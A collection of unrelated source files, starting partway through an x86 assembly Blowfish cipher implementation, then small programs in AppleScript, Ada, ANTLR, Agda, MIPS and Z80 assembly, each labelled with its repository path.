0c742f442h, 0ef6abbb5h, 0654f3b1dh, 041cd2105h dd 0d81e799eh, 086854dc7h, 0e44b476ah, 03d816250h, 0cf62a1f2h, 05b8d2646h, 0fc8883a0h, 0c1c7b6a3h, 07f1524c3h, 069cb7492h, 047848a0bh, 05692b285h dd 0095bbf00h, 0ad19489dh, 01462b174h, 023820e00h, 058428d2ah, 00c55f5eah, 01dadf43eh, 0233f7061h, 03372f092h, 08d937e41h, 0d65fecf1h, 06c223bdbh dd 07cde3759h, 0cbee7460h, 04085f2a7h, 0ce77326eh, 0a6078084h, 019f8509eh, 0e8efd855h, 061d99735h, 0a969a7aah, 0c50c06c2h, 05a04abfch, 0800bcadch dd 09e447a2eh, 0c3453484h, 0fdd56705h, 00e1e9ec9h, 0db73dbd3h, 0105588cdh, 0675fda79h, 0e3674340h, 0c5c43465h, 0713e38d8h, 03d28f89eh, 0f16dff20h dd 0153e21e7h, 08fb03d4ah, 0e6e39f2bh, 0db83adf7h SBox3 dd 0e93d5a68h, 0948140f7h, 0f64c261ch, 094692934h, 0411520f7h, 07602d4f7h, 0bcf46b2eh, 0d4a20068h, 0d4082471h, 03320f46ah, 043b7d4b7h, 0500061afh dd 01e39f62eh, 097244546h, 014214f74h, 0bf8b8840h, 04d95fc1dh, 096b591afh, 070f4ddd3h, 066a02f45h, 0bfbc09ech, 003bd9785h, 07fac6dd0h, 031cb8504h dd 096eb27b3h, 055fd3941h, 0da2547e6h, 0abca0a9ah, 028507825h, 0530429f4h, 00a2c86dah, 0e9b66dfbh, 068dc1462h, 0d7486900h, 0680ec0a4h, 027a18deeh dd 04f3ffea2h, 0e887ad8ch, 0b58ce006h, 07af4d6b6h, 0aace1e7ch, 0d3375fech, 0ce78a399h, 0406b2a42h, 020fe9e35h, 0d9f385b9h, 0ee39d7abh, 03b124e8bh dd 01dc9faf7h, 04b6d1856h, 026a36631h, 0eae397b2h, 03a6efa74h, 0dd5b4332h, 06841e7f7h, 0ca7820fbh, 0fb0af54eh, 0d8feb397h, 0454056ach, 0ba489527h dd 055533a3ah, 020838d87h, 0fe6ba9b7h, 0d096954bh, 055a867bch, 0a1159a58h, 0cca92963h, 099e1db33h, 0a62a4a56h, 03f3125f9h, 05ef47e1ch, 09029317ch dd 0fdf8e802h, 004272f70h, 080bb155ch, 005282ce3h, 095c11548h, 0e4c66d22h, 048c1133fh, 0c70f86dch, 007f9c9eeh, 041041f0fh, 0404779a4h, 05d886e17h dd 0325f51ebh, 0d59bc0d1h, 0f2bcc18fh, 041113564h, 0257b7834h, 0602a9c60h, 0dff8e8a3h, 01f636c1bh, 00e12b4c2h, 002e1329eh, 0af664fd1h, 0cad18115h dd 06b2395e0h, 0333e92e1h, 03b240b62h, 0eebeb922h, 085b2a20eh, 0e6ba0d99h, 0de720c8ch, 02da2f728h, 0d0127845h, 095b794fdh, 0647d0862h, 0e7ccf5f0h dd 05449a36fh, 0877d48fah, 0c39dfd27h, 0f33e8d1eh, 00a476341h, 0992eff74h, 03a6f6eabh, 0f4f8fd37h, 0a812dc60h, 0a1ebddf8h, 0991be14ch, 0db6e6b0dh dd 0c67b5510h, 06d672c37h, 02765d43bh, 0dcd0e804h, 0f1290dc7h, 0cc00ffa3h, 0b5390f92h, 0690fed0bh, 0667b9ffbh, 0cedb7d9ch, 0a091cf0bh, 0d9155ea3h dd 0bb132f88h, 0515bad24h, 07b9479bfh, 0763bd6ebh, 037392eb3h, 0cc115979h, 08026e297h, 0f42e312dh, 06842ada7h, 0c66a2b3bh, 012754ccch, 0782ef11ch dd 06a124237h, 0b79251e7h, 006a1bbe6h, 04bfb6350h, 01a6b1018h, 011caedfah, 03d25bdd8h, 0e2e1c3c9h, 044421659h, 00a121386h, 0d90cec6eh, 0d5abea2ah dd 064af674eh, 0da86a85fh, 0bebfe988h, 064e4c3feh, 09dbc8057h, 0f0f7c086h, 060787bf8h, 06003604dh, 0d1fd8346h, 0f6381fb0h, 07745ae04h, 0d736fccch dd 083426b33h, 0f01eab71h, 0b0804187h, 03c005e5fh, 077a057beh, 0bde8ae24h, 055464299h, 0bf582e61h, 04e58f48fh, 0f2ddfda2h, 0f474ef38h, 08789bdc2h dd 05366f9c3h, 0c8b38e74h, 0b475f255h, 046fcd9b9h, 07aeb2661h, 08b1ddf84h, 0846a0e79h, 0915f95e2h, 0466e598eh, 020b45770h, 08cd55591h, 0c902de4ch dd 0b90bace1h, 0bb8205d0h, 011a86248h, 07574a99eh, 0b77f19b6h, 0e0a9dc09h, 0662d09a1h, 0c4324633h, 0e85a1f02h, 009f0be8ch, 04a99a025h, 01d6efe10h dd 01ab93d1dh, 00ba5a4dfh, 0a186f20fh, 02868f169h, 0dcb7da83h, 0573906feh, 0a1e2ce9bh, 04fcd7f52h, 050115e01h, 0a70683fah, 0a002b5c4h, 00de6d027h dd 09af88c27h, 0773f8641h, 0c3604c06h, 061a806b5h, 0f0177a28h, 0c0f586e0h, 0006058aah, 030dc7d62h, 011e69ed7h, 02338ea63h, 053c2dd94h, 0c2c21634h dd 0bbcbee56h, 090bcb6deh, 0ebfc7da1h, 0ce591d76h, 06f05e409h, 04b7c0188h, 039720a3dh, 07c927c24h, 086e3725fh, 0724d9db9h, 01ac15bb4h, 0d39eb8fch dd 0ed545578h, 008fca5b5h, 0d83d7cd3h, 04dad0fc4h, 01e50ef5eh, 0b161e6f8h, 0a28514d9h, 06c51133ch, 06fd5c7e7h, 056e14ec4h, 0362abfceh, 0ddc6c837h dd 0d79a3234h, 092638212h, 0670efa8eh, 0406000e0h SBox4 dd 03a39ce37h, 0d3faf5cfh, 0abc27737h, 05ac52d1bh, 05cb0679eh, 04fa33742h, 0d3822740h, 099bc9bbeh, 0d5118e9dh, 0bf0f7315h, 0d62d1c7eh, 0c700c47bh dd 0b78c1b6bh, 021a19045h, 0b26eb1beh, 06a366eb4h, 05748ab2fh, 0bc946e79h, 0c6a376d2h, 06549c2c8h, 0530ff8eeh, 0468dde7dh, 0d5730a1dh, 04cd04dc6h dd 02939bbdbh, 0a9ba4650h, 0ac9526e8h, 0be5ee304h, 0a1fad5f0h, 06a2d519ah, 063ef8ce2h, 09a86ee22h, 0c089c2b8h, 043242ef6h, 0a51e03aah, 09cf2d0a4h dd 083c061bah, 09be96a4dh, 08fe51550h, 0ba645bd6h, 02826a2f9h, 0a73a3ae1h, 04ba99586h, 0ef5562e9h, 0c72fefd3h, 0f752f7dah, 03f046f69h, 077fa0a59h dd 080e4a915h, 087b08601h, 09b09e6adh, 03b3ee593h, 0e990fd5ah, 09e34d797h, 02cf0b7d9h, 0022b8b51h, 096d5ac3ah, 0017da67dh, 0d1cf3ed6h, 07c7d2d28h dd 01f9f25cfh, 0adf2b89bh, 05ad6b472h, 05a88f54ch, 0e029ac71h, 0e019a5e6h, 047b0acfdh, 0ed93fa9bh, 0e8d3c48dh, 0283b57cch, 0f8d56629h, 079132e28h dd 0785f0191h, 0ed756055h, 0f7960e44h, 0e3d35e8ch, 015056dd4h, 088f46dbah, 003a16125h, 00564f0bdh, 0c3eb9e15h, 03c9057a2h, 097271aech, 0a93a072ah dd 01b3f6d9bh, 01e6321f5h, 0f59c66fbh, 026dcf319h, 07533d928h, 0b155fdf5h, 003563482h, 08aba3cbbh, 028517711h, 0c20ad9f8h, 0abcc5167h, 0ccad925fh dd 04de81751h, 03830dc8eh, 0379d5862h, 09320f991h, 0ea7a90c2h, 0fb3e7bceh, 05121ce64h, 0774fbe32h, 0a8b6e37eh, 0c3293d46h, 048de5369h, 06413e680h dd 0a2ae0810h, 0dd6db224h, 069852dfdh, 009072166h, 0b39a460ah, 06445c0ddh, 0586cdecfh, 01c20c8aeh, 05bbef7ddh, 01b588d40h, 0ccd2017fh, 06bb4e3bbh dd 0dda26a7eh, 03a59ff45h, 03e350a44h, 0bcb4cdd5h, 072eacea8h, 0fa6484bbh, 08d6612aeh, 0bf3c6f47h, 0d29be463h, 0542f5d9eh, 0aec2771bh, 0f64e6370h dd 0740e0d8dh, 0e75b1357h, 0f8721671h, 0af537d5dh, 04040cb08h, 04eb4e2cch, 034d2466ah, 00115af84h, 0e1b00428h, 095983a1dh, 006b89fb4h, 0ce6ea048h dd 06f3f3b82h, 03520ab82h, 0011a1d4bh, 0277227f8h, 0611560b1h, 0e7933fdch, 0bb3a792bh, 0344525bdh, 0a08839e1h, 051ce794bh, 02f32c9b7h, 0a01fbac9h dd 0e01cc87eh, 0bcc7d1f6h, 0cf0111c3h, 0a1e8aac7h, 01a908749h, 0d44fbd9ah, 0d0dadecbh, 0d50ada38h, 00339c32ah, 0c6913667h, 08df9317ch, 0e0b12b4fh dd 0f79e59b7h, 043f5bb3ah, 0f2d519ffh, 027d9459ch, 0bf97222ch, 015e6fc2ah, 00f91fc71h, 09b941525h, 0fae59361h, 0ceb69cebh, 0c2a86459h, 012baa8d1h dd 0b6c1075eh, 0e3056a0ch, 010d25065h, 0cb03a442h, 0e0ec6e0eh, 01698db3bh, 04c98a0beh, 03278e964h, 09f1f9532h, 0e0d392dfh, 0d3a0342bh, 08971f21eh dd 01b0a7441h, 04ba3348ch, 0c5be7120h, 0c37632d8h, 0df359f8dh, 09b992f2eh, 0e60b6f47h, 00fe3f11dh, 0e54cda54h, 01edad891h, 0ce6279cfh, 0cd3e7e6fh dd 01618b166h, 0fd2c1d05h, 0848fd2c5h, 0f6fb2299h, 0f523f357h, 0a6327623h, 093a83531h, 056cccd02h, 0acf08162h, 05a75ebb5h, 06e163697h, 088d273cch dd 0de966292h, 081b949d0h, 04c50901bh, 071c65614h, 0e6c6c7bdh, 0327a140ah, 045e1d006h, 0c3f27b9ah, 0c9aa53fdh, 062a80f00h, 0bb25bfe2h, 035bdd2f6h dd 071126905h, 0b2040222h, 0b6cbcf7ch, 0cd769c2bh, 053113ec0h, 01640e3d3h, 038abbd60h, 02547adf0h, 0ba38209ch, 0f746ce76h, 077afa1c5h, 020756060h dd 085cbfe4eh, 08ae88dd8h, 07aaaf9b0h, 04cf9aa7eh, 01948c25ch, 002fb8a8ch, 001c36ae4h, 0d6ebe1f9h, 090d4f869h, 0a65cdea0h, 03f09252dh, 0c208e69fh dd 0b74e6132h, 0ce77e25bh, 0578fdfe3h, 03ac372e6h .code Blowfish_SetKey proc ptrKey:DWORD, lKey:DWORD pushad mov ecx, 256*4+ 18 mov esi, offset PBox mov edi, offset _PBox cld rep movsd mov ecx, lKey mov edx, 18*4 test ecx, ecx jz @@nokey cmp ecx, MAX_KEYSIZE jb @F mov ecx, MAX_KEYSIZE @@: ;ecx= lKey ;edi= ptr _InternalKey mov edx, 18*4 mov esi, ptrKey sub edx, ecx rep movsb mov ecx, edx mov esi, offset _InternalKey ;kopiowane jest edx bajtow. to co zapiszemy moze byc zaraz odczytane rep movsb mov ecx, 18*4 @@: mov eax, dword ptr [_InternalKey+ ecx -4] bswap eax xor dword ptr [_PBox+ ecx -4], eax sub ecx, 4 jnz @B xor eax, eax ; create the zero-string mov edi, offset _PBox mov dword ptr [_InternalKey], eax mov dword ptr [_InternalKey+4], eax mov ecx, 9 ; PBox_len/2 in dwords push offset _InternalKey jmp @@y_loop @@x_loop: push eax @@y_loop: push edi call Blowfish_Encrypt mov eax, edi add edi, 8 dec ecx jnz @@x_loop mov ecx, 4*256/2 ; SBox_len/2 in dwords @@: push eax push edi call Blowfish_Encrypt mov eax, edi add edi, 8 dec ecx jnz @B @@nokey: popad ret Blowfish_SetKey endp Blowfish_Encrypt PROC ptrOut:DWORD, ptrIn:DWORD pushad mov edi, ptrIn mov eax, dword ptr [edi+0] mov edx, dword ptr [edi+4] xor ebx, ebx xor ecx, ecx xor edi, edi @@: xor eax, [_PBox+4*edi] rol eax, 16 mov cl, al mov bl, ah mov esi, dword ptr [_SBox2+4*ecx] rol eax, 16 add esi, dword ptr [_SBox1+4*ebx] mov cl, ah mov bl, al xor esi, dword ptr [_SBox3+4*ecx] add esi, dword ptr [_SBox4+4*ebx] xor edx, esi inc edi xchg eax, edx cmp edi, 16 jnz @B mov esi, ptrOut xor eax, [_PBox+16*4] xor edx, [_PBox+17*4] mov dword ptr [esi+4], eax mov dword ptr [esi+0], edx popad ret Blowfish_Encrypt ENDP Blowfish_Decrypt PROC ptrOut:DWORD, ptrIn:DWORD pushad mov edi, ptrIn mov eax, dword ptr [edi+0] mov edx, dword ptr [edi+4] xor ebx, ebx xor ecx, ecx mov edi, 16 @@: xor eax, [_PBox+4*edi+4] rol eax, 16 mov cl, al mov bl, ah mov esi, dword ptr [_SBox2+4*ecx] rol eax, 16 add esi, dword ptr [_SBox1+4*ebx] mov cl, ah mov bl, al xor esi, dword ptr [_SBox3+4*ecx] add esi, dword ptr [_SBox4+4*ebx] xor edx, esi dec edi xchg eax, edx jnz @B mov esi, ptrOut xor eax, [_PBox+ 1*4] ;L = L ^ Pbox[1] xor edx, [_PBox+ 0*4] ;R = R ^ Pbox[0] mov dword ptr [esi+4], eax mov dword ptr [esi+0], edx popad ret Blowfish_Decrypt ENDP Blowfish_Clear proc push eax push ecx push edi mov ecx, 256*4 + 18*2 mov edi, offset _PBox xor eax, eax cld rep stosd pop edi pop ecx pop eax ret Blowfish_Clear endp
programs/oeis/010/A010727.asm
neoneye/loda
22
91281
; A010727: Constant sequence: the all 7's sequence. ; 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7 mov $0,7
Applications/iTunes/get-volume.applescript
looking-for-a-job/applescript-examples
1
1094
#!/usr/bin/osascript on get_volume() tell application "iTunes" to return sound volume end get_volume get_volume()
src/util/sprite/f_f5.asm
olifink/qspread
0
13832
<reponame>olifink/qspread<gh_stars>0 ;Sprite source code generated with EASYSOURCE  1991 <NAME> Software ;************************************************************************** ; -> asm_spr_ <- 1992 Jun 13 12:45:08 section sprite xdef mes_f5 mes_f5 sp1 dc.w $0100,$0000 ;form, time/adaption dc.w $0008,$0007 ;x size, y size dc.w $0000,$0000 ;x origin, y origin dc.l cp1-* ;pointer to colour pattern dc.l pm1-* ;pointer to pattern mask dc.l 0 ;pointer to next definition cp1 dc.w $EF00,$0000 dc.w $8800,$0000 dc.w $8E00,$0000 dc.w $C100,$0000 dc.w $8100,$0000 dc.w $8900,$0000 dc.w $8600,$0000 pm1 dc.w $0000,$0000 dc.w $0000,$0000 dc.w $0000,$0000 dc.w $0000,$0000 dc.w $0000,$0000 dc.w $0000,$0000 dc.w $0000,$0000 ; end
3-mid/opengl/source/platform/egl/private/thin/egl.ads
charlie5/lace
20
12998
with Interfaces.C, System; package eGL is use Interfaces; --------- -- Types -- subtype void_Ptr is System.Address; subtype Display is System.Address; subtype NativeWindowType is Interfaces.C.unsigned_long; subtype NativePixmapType is Interfaces.C.unsigned_long; subtype EGLint is Interfaces.Integer_32; subtype EGLBoolean is Interfaces.C.unsigned; subtype EGLenum is Interfaces.C.unsigned; subtype EGLConfig is void_ptr; subtype EGLContext is void_ptr; subtype EGLDisplay is void_ptr; subtype EGLSurface is void_ptr; subtype EGLClientBuffer is void_ptr; type void_Ptr_array is array (C.size_t range <>) of aliased void_Ptr; type Display_array is array (C.size_t range <>) of aliased eGL.Display; type NativeWindowType_array is array (C.size_t range <>) of aliased eGL.NativeWindowType; type NativePixmapType_array is array (C.size_t range <>) of aliased eGL.NativePixmapType; type EGLint_array is array (C.size_t range <>) of aliased eGL.EGLint; type EGLBoolean_array is array (C.size_t range <>) of aliased eGL.EGLBoolean; type EGLenum_array is array (C.size_t range <>) of aliased eGL.EGLenum; type EGLConfig_array is array (C.size_t range <>) of aliased eGL.EGLConfig; type EGLContext_array is array (C.size_t range <>) of aliased eGL.EGLContext; type EGLDisplay_array is array (C.size_t range <>) of aliased eGL.EGLDisplay; type EGLSurface_array is array (C.size_t range <>) of aliased eGL.EGLSurface; type EGLClientBuffer_array is array (C.size_t range <>) of aliased eGL.EGLClientBuffer; ------------- -- Constants -- EGL_VERSION_1_0 : constant := 1; EGL_VERSION_1_1 : constant := 1; EGL_VERSION_1_2 : constant := 1; EGL_VERSION_1_3 : constant := 1; EGL_VERSION_1_4 : constant := 1; EGL_FALSE : constant := 0; EGL_TRUE : constant := 1; EGL_SUCCESS : constant := 16#3000#; EGL_NOT_INITIALIZED : constant := 16#3001#; EGL_BAD_ACCESS : constant := 16#3002#; EGL_BAD_ALLOC : constant := 16#3003#; EGL_BAD_ATTRIBUTE : constant := 16#3004#; EGL_BAD_CONFIG : constant := 16#3005#; EGL_BAD_CONTEXT : constant := 16#3006#; EGL_BAD_CURRENT_SURFACE : constant := 16#3007#; EGL_BAD_DISPLAY : constant := 16#3008#; EGL_BAD_MATCH : constant := 16#3009#; EGL_BAD_NATIVE_PIXMAP : constant := 16#300a#; EGL_BAD_NATIVE_WINDOW : constant := 16#300b#; EGL_BAD_PARAMETER : constant := 16#300c#; EGL_BAD_SURFACE : constant := 16#300d#; EGL_CONTEXT_LOST : constant := 16#300e#; EGL_BUFFER_SIZE : constant := 16#3020#; EGL_ALPHA_SIZE : constant := 16#3021#; EGL_BLUE_SIZE : constant := 16#3022#; EGL_GREEN_SIZE : constant := 16#3023#; EGL_RED_SIZE : constant := 16#3024#; EGL_DEPTH_SIZE : constant := 16#3025#; EGL_STENCIL_SIZE : constant := 16#3026#; EGL_CONFIG_CAVEAT : constant := 16#3027#; EGL_CONFIG_ID : constant := 16#3028#; EGL_LEVEL : constant := 16#3029#; EGL_MAX_PBUFFER_HEIGHT : constant := 16#302a#; EGL_MAX_PBUFFER_PIXELS : constant := 16#302b#; EGL_MAX_PBUFFER_WIDTH : constant := 16#302c#; EGL_NATIVE_RENDERABLE : constant := 16#302d#; EGL_NATIVE_VISUAL_ID : constant := 16#302e#; EGL_NATIVE_VISUAL_TYPE : constant := 16#302f#; EGL_PRESERVED_RESOURCES : constant := 16#3030#; EGL_SAMPLES : constant := 16#3031#; EGL_SAMPLE_BUFFERS : constant := 16#3032#; EGL_SURFACE_TYPE : constant := 16#3033#; EGL_TRANSPARENT_TYPE : constant := 16#3034#; EGL_TRANSPARENT_BLUE_VALUE : constant := 16#3035#; EGL_TRANSPARENT_GREEN_VALUE : constant := 16#3036#; EGL_TRANSPARENT_RED_VALUE : constant := 16#3037#; EGL_NONE : constant := 16#3038#; EGL_BIND_TO_TEXTURE_RGB : constant := 16#3039#; EGL_BIND_TO_TEXTURE_RGBA : constant := 16#303a#; EGL_MIN_SWAP_INTERVAL : constant := 16#303b#; EGL_MAX_SWAP_INTERVAL : constant := 16#303c#; EGL_LUMINANCE_SIZE : constant := 16#303d#; EGL_ALPHA_MASK_SIZE : constant := 16#303e#; EGL_COLOR_BUFFER_TYPE : constant := 16#303f#; EGL_RENDERABLE_TYPE : constant := 16#3040#; EGL_MATCH_NATIVE_PIXMAP : constant := 16#3041#; EGL_CONFORMANT : constant := 16#3042#; EGL_SLOW_CONFIG : constant := 16#3050#; EGL_NON_CONFORMANT_CONFIG : constant := 16#3051#; EGL_TRANSPARENT_RGB : constant := 16#3052#; EGL_RGB_BUFFER : constant := 16#308e#; EGL_LUMINANCE_BUFFER : constant := 16#308f#; EGL_NO_TEXTURE : constant := 16#305c#; EGL_TEXTURE_RGB : constant := 16#305d#; EGL_TEXTURE_RGBA : constant := 16#305e#; EGL_TEXTURE_2D : constant := 16#305f#; EGL_PBUFFER_BIT : constant := 16#1#; EGL_PIXMAP_BIT : constant := 16#2#; EGL_WINDOW_BIT : constant := 16#4#; EGL_VG_COLORSPACE_LINEAR_BIT : constant := 16#20#; EGL_VG_ALPHA_FORMAT_PRE_BIT : constant := 16#40#; EGL_MULTISAMPLE_RESOLVE_BOX_BIT : constant := 16#200#; EGL_SWAP_BEHAVIOR_PRESERVED_BIT : constant := 16#400#; EGL_OPENGL_ES_BIT : constant := 16#1#; EGL_OPENVG_BIT : constant := 16#2#; EGL_OPENGL_ES2_BIT : constant := 16#4#; EGL_OPENGL_BIT : constant := 16#8#; EGL_VENDOR : constant := 16#3053#; EGL_VERSION : constant := 16#3054#; EGL_EXTENSIONS : constant := 16#3055#; EGL_CLIENT_APIS : constant := 16#308d#; EGL_HEIGHT : constant := 16#3056#; EGL_WIDTH : constant := 16#3057#; EGL_LARGEST_PBUFFER : constant := 16#3058#; EGL_TEXTURE_FORMAT : constant := 16#3080#; EGL_TEXTURE_TARGET : constant := 16#3081#; EGL_MIPMAP_TEXTURE : constant := 16#3082#; EGL_MIPMAP_LEVEL : constant := 16#3083#; EGL_RENDER_BUFFER : constant := 16#3086#; EGL_VG_COLORSPACE : constant := 16#3087#; EGL_VG_ALPHA_FORMAT : constant := 16#3088#; EGL_HORIZONTAL_RESOLUTION : constant := 16#3090#; EGL_VERTICAL_RESOLUTION : constant := 16#3091#; EGL_PIXEL_ASPECT_RATIO : constant := 16#3092#; EGL_SWAP_BEHAVIOR : constant := 16#3093#; EGL_MULTISAMPLE_RESOLVE : constant := 16#3099#; EGL_BACK_BUFFER : constant := 16#3084#; EGL_SINGLE_BUFFER : constant := 16#3085#; EGL_VG_COLORSPACE_sRGB : constant := 16#3089#; EGL_VG_COLORSPACE_LINEAR : constant := 16#308a#; EGL_VG_ALPHA_FORMAT_NONPRE : constant := 16#308b#; EGL_VG_ALPHA_FORMAT_PRE : constant := 16#308c#; EGL_DISPLAY_SCALING : constant := 10000; EGL_BUFFER_PRESERVED : constant := 16#3094#; EGL_BUFFER_DESTROYED : constant := 16#3095#; EGL_OPENVG_IMAGE : constant := 16#3096#; EGL_CONTEXT_CLIENT_TYPE : constant := 16#3097#; EGL_CONTEXT_CLIENT_VERSION : constant := 16#3098#; EGL_MULTISAMPLE_RESOLVE_DEFAULT : constant := 16#309a#; EGL_MULTISAMPLE_RESOLVE_BOX : constant := 16#309b#; EGL_OPENGL_ES_API : constant := 16#30a0#; EGL_OPENVG_API : constant := 16#30a1#; EGL_OPENGL_API : constant := 16#30a2#; EGL_DRAW : constant := 16#3059#; EGL_READ : constant := 16#305a#; EGL_CORE_NATIVE_ENGINE : constant := 16#305b#; EGL_COLORSPACE : constant := 16#3087#; EGL_ALPHA_FORMAT : constant := 16#3088#; EGL_COLORSPACE_sRGB : constant := 16#3089#; EGL_COLORSPACE_LINEAR : constant := 16#308a#; EGL_ALPHA_FORMAT_NONPRE : constant := 16#308b#; EGL_ALPHA_FORMAT_PRE : constant := 16#308c#; end eGL;
sharding-core/src/main/antlr4/imports/BaseRule.g4
fifadxj/sharding-sphere
0
1625
grammar BaseRule; import DataType, Keyword, Symbol; ID: (BQ_?[a-zA-Z_$][a-zA-Z0-9_$]* BQ_? DOT)? (BQ_?[a-zA-Z_$][a-zA-Z0-9_$]* BQ_?) | [a-zA-Z_$0-9]+ DOT_ASTERISK ; schemaName : ID ; databaseName : ID ; domainName : ID ; tableName : ID ; columnName : ID ; sequenceName : ID ; tablespaceName : ID ; collationName : STRING | ID ; indexName : ID ; alias : ID ; cteName : ID ; parserName : ID ; extensionName : ID ; rowName : ID ; opclass : ID ; fileGroup : ID ; groupName : ID ; constraintName : ID ; keyName : ID ; typeName : ID ; xmlSchemaCollection : ID ; columnSetName : ID ; directoryName : ID ; triggerName : ID ; routineName : ID ; roleName : STRING | ID ; partitionName : ID ; rewriteRuleName : ID ; ownerName : ID ; userName : STRING | ID ; serverName : ID ; dataTypeLength : LP_ (NUMBER (COMMA NUMBER)?)? RP_ ; primaryKey : PRIMARY? KEY ; matchNone : 'Default does not match anything' ; ids : ID (COMMA ID)* ; idList : LP_ ids RP_ ; rangeClause : NUMBER (COMMA NUMBER)* | NUMBER OFFSET NUMBER ; schemaNames : schemaName (COMMA schemaName)* ; databaseNames : databaseName (COMMA databaseName)* ; domainNames : domainName (COMMA domainName)* ; tableNamesWithParen : LP_ tableNames RP_ ; tableNames : tableName (COMMA tableName)* ; columnNamesWithParen : LP_ columnNames RP_ ; columnNames : columnName (COMMA columnName)* ; columnList : LP_ columnNames RP_ ; sequenceNames : sequenceName (COMMA sequenceName)* ; tablespaceNames : tablespaceName (COMMA tablespaceName)* ; indexNames : indexName (COMMA indexName)* ; typeNames : typeName (COMMA typeName)* ; rowNames : rowName (COMMA rowName)* ; roleNames : roleName (COMMA roleName)* ; userNames : userName (COMMA userName)* ; serverNames : serverName (COMMA serverName)* ; bitExprs: bitExpr (COMMA bitExpr)* ; exprs : expr (COMMA expr)* ; exprsWithParen : LP_ exprs RP_ ; expr : expr AND expr | expr AND_ expr | expr XOR expr | LP_ expr RP_ | NOT expr | NOT_ expr | expr OR expr | expr OR_ expr | booleanPrimary | exprRecursive ; exprRecursive : matchNone ; booleanPrimary : booleanPrimary IS NOT? (TRUE | FALSE | UNKNOWN |NULL) | booleanPrimary SAFE_EQ predicate | booleanPrimary comparisonOperator predicate | booleanPrimary comparisonOperator (ALL | ANY) subquery | predicate ; comparisonOperator : EQ_ | GTE | GT | LTE | LT | NEQ_ | NEQ ; predicate : bitExpr NOT? IN subquery | bitExpr NOT? IN LP_ simpleExpr ( COMMA simpleExpr)* RP_ | bitExpr NOT? BETWEEN simpleExpr AND predicate | bitExpr SOUNDS LIKE simpleExpr | bitExpr NOT? LIKE simpleExpr (ESCAPE simpleExpr)* | bitExpr NOT? REGEXP simpleExpr | bitExpr ; bitExpr : bitExpr BIT_INCLUSIVE_OR bitExpr | bitExpr BIT_AND bitExpr | bitExpr SIGNED_LEFT_SHIFT bitExpr | bitExpr SIGNED_RIGHT_SHIFT bitExpr | bitExpr PLUS bitExpr | bitExpr MINUS bitExpr | bitExpr ASTERISK bitExpr | bitExpr SLASH bitExpr | bitExpr MOD bitExpr | bitExpr MOD_ bitExpr | bitExpr BIT_EXCLUSIVE_OR bitExpr //| bitExpr '+' interval_expr //| bitExpr '-' interval_expr | simpleExpr ; simpleExpr : functionCall | liter | ID | simpleExpr collateClause //| param_marker //| variable | simpleExpr AND_ simpleExpr | PLUS simpleExpr | MINUS simpleExpr | UNARY_BIT_COMPLEMENT simpleExpr | NOT_ simpleExpr | BINARY simpleExpr | LP_ expr RP_ | ROW LP_ simpleExpr( COMMA simpleExpr)* RP_ | subquery | EXISTS subquery // | (identifier expr) //| match_expr //| case_expr // | interval_expr |privateExprOfDb ; functionCall : ID LP_ bitExprs? RP_ ; privateExprOfDb : matchNone ; liter : QUESTION | NUMBER | TRUE | FALSE | NULL | LBE_ ID STRING RBE_ | HEX_DIGIT | ID? STRING collateClause? | (DATE | TIME |TIMESTAMP) STRING | ID? BIT_NUM collateClause? ; subquery : matchNone ; collateClause : matchNone ; orderByClause : ORDER BY orderByItem (COMMA orderByItem)* ; orderByItem : (columnName | NUMBER |expr) (ASC|DESC)? ;
resources/osascripts/Quit.scpt
liamparkeruk/spotify-freemium
0
3467
<filename>resources/osascripts/Quit.scpt tell application "Spotify" to quit
src/Human/Maybe.agda
MaisaMilena/JuiceMaker
6
9123
<reponame>MaisaMilena/JuiceMaker<gh_stars>1-10 module Human.Maybe where data Maybe (A : Set) : Set where just : A -> Maybe A nothing : Maybe A
Laboratorio/Relatorio_08/Resposta Rel_08/prog15.asm
0Augusto/hello-world
1
240832
# Variaveis associadas aos registradores: # endBase -> $16 # i -> $17 # soma -> $18 .text .globl main main: addi $8, $0, 0x1001 # t0 = 0x00001001 sll $16, $8, 0x10 # endBase = 0x10010000 addi $10, $0, 0x64 # i = 100 do: sll $8, $17, 0x2 # i = i * 4 add $8, $8, $16 # t0 = i * 4 + endBase sll $9, $17, 0x1 # t1 = i * 2 addi $9, $9, 0x1 # t1 = i * 2 + 1 sw $9, 0($8) # vet[i] = t1 add $18, $18, $9 # soma = soma + t1 addi $17, $17, 0x1 # i = i + 1 bne $17, $10, do # if (i != 0) goto do sw $18, 400($16) # vet[100] = soma
libsrc/stdio/vfprintf.asm
jpoikela/z88dk
0
240472
<reponame>jpoikela/z88dk<gh_stars>0 ; int vfprintf(FILE *fp, unsigned char *fmt,void *ap) MODULE vfprintf SECTION code_clib PUBLIC vfprintf EXTERN fputc_callee EXTERN asm_printf ; Cores have signature (in __smallc) ; int vfprintf1(FILE *fp, void (*output_fn)(FILE *fp,int c), int sccz80, unsigned char *fmt,void *ap) ; sccz80 vfprintf: pop af pop hl ; ap pop de ; fmt pop bc ; fp push bc push de push hl push af IF !__CPU_INTEL__ push ix ENDIF push bc ;fp ld bc,fputc_callee ;output_fn push bc ld bc,1 ;sccz80 push bc push de ;fmt push hl ;ap call asm_printf pop bc pop bc pop bc pop bc pop bc IF !__CPU_INTEL__ pop ix ENDIF ret
examples/kernel.asm
michalmalik/pvm
2
166987
<reponame>michalmalik/pvm<gh_stars>1-10 JMP start #include "devices.asm" #include "memory.asm" #include "ivt.asm" :init_kernel JTR build_ivt RET :start JTR init_kernel STO D,0x8 STO C,0xF00D STO X,0x1000 STO B,SYSCALL_WRITE_MEM INT IVT_SYSCALL
src/tools/dups.adb
spr93/whitakers-words
204
6624
<filename>src/tools/dups.adb -- WORDS, a Latin dictionary, by <NAME> (USAF, Retired) -- -- Copyright <NAME> (1936–2010) -- -- This is a free program, which means it is proper to copy it and pass -- it on to your friends. Consider it a developmental item for which -- there is no charge. However, just for form, it is Copyrighted -- (c). Permission is hereby freely given for any and all use of program -- and data. You can sell it as your own, but at least tell me. -- -- This version is distributed without obligation, but the developer -- would appreciate comments and suggestions. -- -- All parts of the WORDS system, source code and data files, are made freely -- available to anyone who wishes to use them, for whatever purpose. with Text_IO; --with Latin_Utils.Strings_Package; use Latin_Utils.Strings_Package; procedure Dups is package Integer_Text_IO is new Text_IO.Integer_IO (Integer); use Integer_Text_IO; use Text_IO; Input, Output : File_Type; 